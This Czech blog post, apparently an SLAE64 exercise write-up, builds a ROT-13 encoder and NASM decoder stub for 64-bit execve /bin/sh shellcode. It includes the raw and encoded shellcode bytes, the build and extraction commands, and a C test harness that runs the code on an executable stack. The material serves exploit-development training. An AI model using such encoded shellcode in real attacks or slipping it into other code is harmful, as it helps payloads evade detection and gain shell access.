64bitový Custom Encoder

Ve čtvrtém textu této 64bitové série bude vytvořeno custom encoding schéma fungující na principu insertion encoderu s execve-stack jako shellcodem.

Pro custom encoder použiji velmi jednoduchou šifru ROT-13 pro každý byte.

Source: wikipedia.com
#!/usr/bin/env python
# Filename: encoder.py
# Author: SLAE64-14209
 
shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")
 
rot = 13
max = 256 - rot
 
encoded = ""
encoded2 = []
 
for x in bytearray(shellcode):
    if x < max:
        encoded += '\\x%02x' % (x + rot)
        encoded2.append('0x%02x' % (x + rot))
    else:
        encoded += '\\x%02x' % (rot - 256 + x)
        encoded2.append('0x%02x' % (rot - 256 + x))
 
print "Encoded:\n%s\n" % encoded
 
print "Encoded2:\n%s\n" % ','.join(encoded2)

Encodovaný shellcode:

\x55\x3e\xcd\x5d\x55\xc8\x3c\x6f\x76\x7b\x3c\x3c\x80\x75\x60\x55\x96\xf4\x5d\x55\x96\xef\x64\x55\x96\xf3\x55\x90\xcd\x48\x1c\x12

Vytvořený nasm soubor:

# Filename: decoder.nasm
# Author: SLAE64-14209
 
global _start
section .text
_start:
 
jmp short call_shellcode
 
decoder:
pop rsi ; pop address of the shellcode in RSI
xor rcx, rcx ; zeroize RCX register
mov cl, 32 ; counter = 32 (length of the shellcode)
 
decode:
cmp byte [rsi], 0xD ; compare if is possible to substract value 13
jl max_reached ; jump if less -> max_reached
sub byte [rsi], 0xD ; substract value 13
jmp short shellcode
 
max_reached:
xor rdx, rdx ; zeroize EDX register
mov dl, 0xD ; set 13 into RDX
sub dl, byte [rsi] ; 13 - byte value of the shellcode
xor rbx, rbx ; zeroize RBX register
mov bl, 0xff ; 0xff = 255 
inc rbx ; = 256
sub bx, dx ; 256 - (13 - byte value of the shellcode)
mov byte [rsi], bl ; move bl into RSI
 
shellcode:
inc rsi ; move to next byte
loop decode ; loop "decode"
jmp short EncodedShellcode
 
call_shellcode:
 
call decoder
EncodedShellcode: db 0x55,0x3e,0xcd,0x5d,0x55,0xc8,0x3c,0x6f,0x76,0x7b,0x3c,0x3c,0x80,0x75,0x60,0x55,0x96,0xf4,0x5d,0x55,0x96,0xef,0x64,0x55,0x96,0xf3,0x55,0x90,0xcd,0x48,0x1c,0x12

Zkompilujeme:

  • nasm -f elf64 -o decoder.o decoder.nasm
  • ld decoder.o -o decoder
  • objdump -d decoder -M intel
    • no nullbytes
  • objdump -d ./decoder|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\xeb\x2b\x5e\x48\x31\xc9\xb1\x20\x80\x3e\x0d\x7c\x05\x80\x2e\x0d\xeb\x14\x48\x31\xd2\xb2\x0d\x2a\x16\x48\x31\xdb\xb3\xff\x48\xff\xc3\x66\x29\xd3\x88\x1e\x48\xff\xc6\xe2\xdd\xeb\x05\xe8\xd0\xff\xff\xff\x55\x3e\xcd\x5d\x55\xc8\x3c\x6f\x76\x7b\x3c\x3c\x80\x75\x60\x55\x96\xf4\x5d\x55\x96\xef\x64\x55\x96\xf3\x55\x90\xcd\x48\x1c\x12”


#include <stdio.h>
#include <string.h>
 
unsigned char code[] =
// Decoder stub:
"\xeb\x2b\x5e\x48\x31\xc9\xb1\x20\x80\x3e\x0d\x7c\x05\x80\x2e\x0d\xeb\x14\x48\x31\xd2\xb2\x0d\x2a\x16\x48\x31\xdb\xb3\xff\x48\xff\xc3\x66\x29\xd3\x88\x1e\x48\xff\xc6\xe2\xdd\xeb\x05\xe8\xd0\xff\xff\xff\x55\x3e\xcd\x5d\x55\xc8\x3c\x6f\x76\x7b\x3c\x3c\x80\x75\x60\x55\x96\xf4\x5d\x55\x96\xef\x64\x55\x96\xf3\x55\x90\xcd\x48\x1c\x12"
// Encoded shellcode:
"\x55\x3e\xcd\x5d\x55\xc8\x3c\x6f\x76\x7b\x3c\x3c\x80\x75\x60\x55\x96\xf4\x5d\x55\x96\xef\x64\x55\x96\xf3\x55\x90\xcd\x48\x1c\x12";
 
int main(void) {
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
  • ./shellcode

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64

Naše služby

Penetrační testování infrastruktury

Skenování zranitelností webových aplikací a interní infrastruktury

Testování pomocí metod sociálního inženýrství

Testování Wi-Fi sítí

Šifrovaný telefon

Rušičky odposlechů

Šifrovaný disk

Penetrační testování webových aplikací

Konzultace IT bezpečnosti

Vyhledávání odposlechů

Následující příspěvek
Analýza vybraných 64bitových MSFvenom shellcodů
Předchozí příspěvek
Analýza 64bitového Egghunter Shellcodu
Menu